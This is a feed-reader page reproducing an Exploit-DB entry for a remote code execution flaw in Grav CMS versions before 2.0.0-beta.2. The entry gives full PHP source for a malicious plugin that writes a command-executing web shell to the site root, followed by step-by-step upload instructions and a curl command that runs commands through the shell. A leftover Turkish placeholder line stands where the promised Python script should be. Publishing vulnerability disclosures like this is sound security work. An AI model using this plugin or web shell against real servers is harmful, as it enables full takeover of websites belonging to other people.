惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

人人都是产品经理
人人都是产品经理
Blog — PlanetScale
Blog — PlanetScale
MyScale Blog
MyScale Blog
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
WordPress大学
WordPress大学
Vercel News
Vercel News
D
Docker
博客园 - 聂微东
T
Tailwind CSS Blog
aimingoo的专栏
aimingoo的专栏
云风的 BLOG
云风的 BLOG
D
DataBreaches.Net
B
Blog RSS Feed
酷 壳 – CoolShell
酷 壳 – CoolShell
博客园 - Franky
Microsoft Security Blog
Microsoft Security Blog
美团技术团队
F
Fortinet All Blogs
MongoDB | Blog
MongoDB | Blog
T
The Blog of Author Tim Ferriss
GbyAI
GbyAI
N
Netflix TechBlog - Medium
G
Google Developers Blog
腾讯CDC

Exploit-DB.com RSS Feed

MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive
OffSec’s Exploit Database Archive
Mustafa Murat Akgül · 2026-05-26 · via Exploit-DB.com RSS Feed
# Exploit Title: Grav CMS < 2.0.0-beta.2 - Remote Code Execution (RCE) 
# Date: 2026-05-08
# Exploit Author: Mustafa Murat Akgül
# Vendor Homepage: https://getgrav.org/
# Software Link: https://github.com/getgrav/grav
# Version: < 2.0.0-beta.2
# CVE: CVE-2026-42607 / GHSA-w48r-jppp-rcfw
# Tested on: Linux/Ubuntu (Grav Admin Plugin Enabled)

Technical Details:
The Grav CMS "Direct Install" feature in the Admin plugin allows administrators 
to upload plugins as ZIP files. The system failed to adequately validate the 
contents of the ZIP archive or prevent path traversal (Zip Slip) during extraction. 
By crafting a malicious plugin that hooks into Grav events (e.g., onPluginsInitialized), 
an attacker can execute arbitrary PHP code or drop a persistent web shell on the root directory.

Proof of Concept (PoC):

1. Create a malicious plugin structure:
   - shellplugin/blueprints.yaml
   - shellplugin/shellplugin.yaml
   - shellplugin/shellplugin.php (Payload below)

--- shellplugin.php ---
<?php
namespace Grav\Plugin;
use Grav\Common\Plugin;

class ShellpluginPlugin extends Plugin {
    public static function getSubscribedEvents(): array {
        return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];
    }
    public function onPluginsInitialized(): void {
        $shell_path = GRAV_ROOT . '/shell.php';
        if (!file_exists($shell_path)) {
            file_put_contents($shell_path, '<?php system($_GET["cmd"]); ?>');
        }
    }
}
----------------------

2. Compress the directory:
   $ zip -r shellplugin.zip shellplugin/

3. Log in to the Grav Admin panel and navigate to:
   /admin/tools/direct-install

4. Upload the 'shellplugin.zip' file.

5. Once installed, the plugin triggers on the next request to the site, 
   dropping a shell at the root.

6. Access your shell:
   curl "http://<target>/shell.php?cmd=id"

Exploit Script (Python):
[Buraya yukarıda paylaştığın Python scriptini ekleyebilirsin]

Impact:
Full system-level access under the context of the web server user. An attacker 
with administrative privileges (or via CSRF) can compromise the entire server.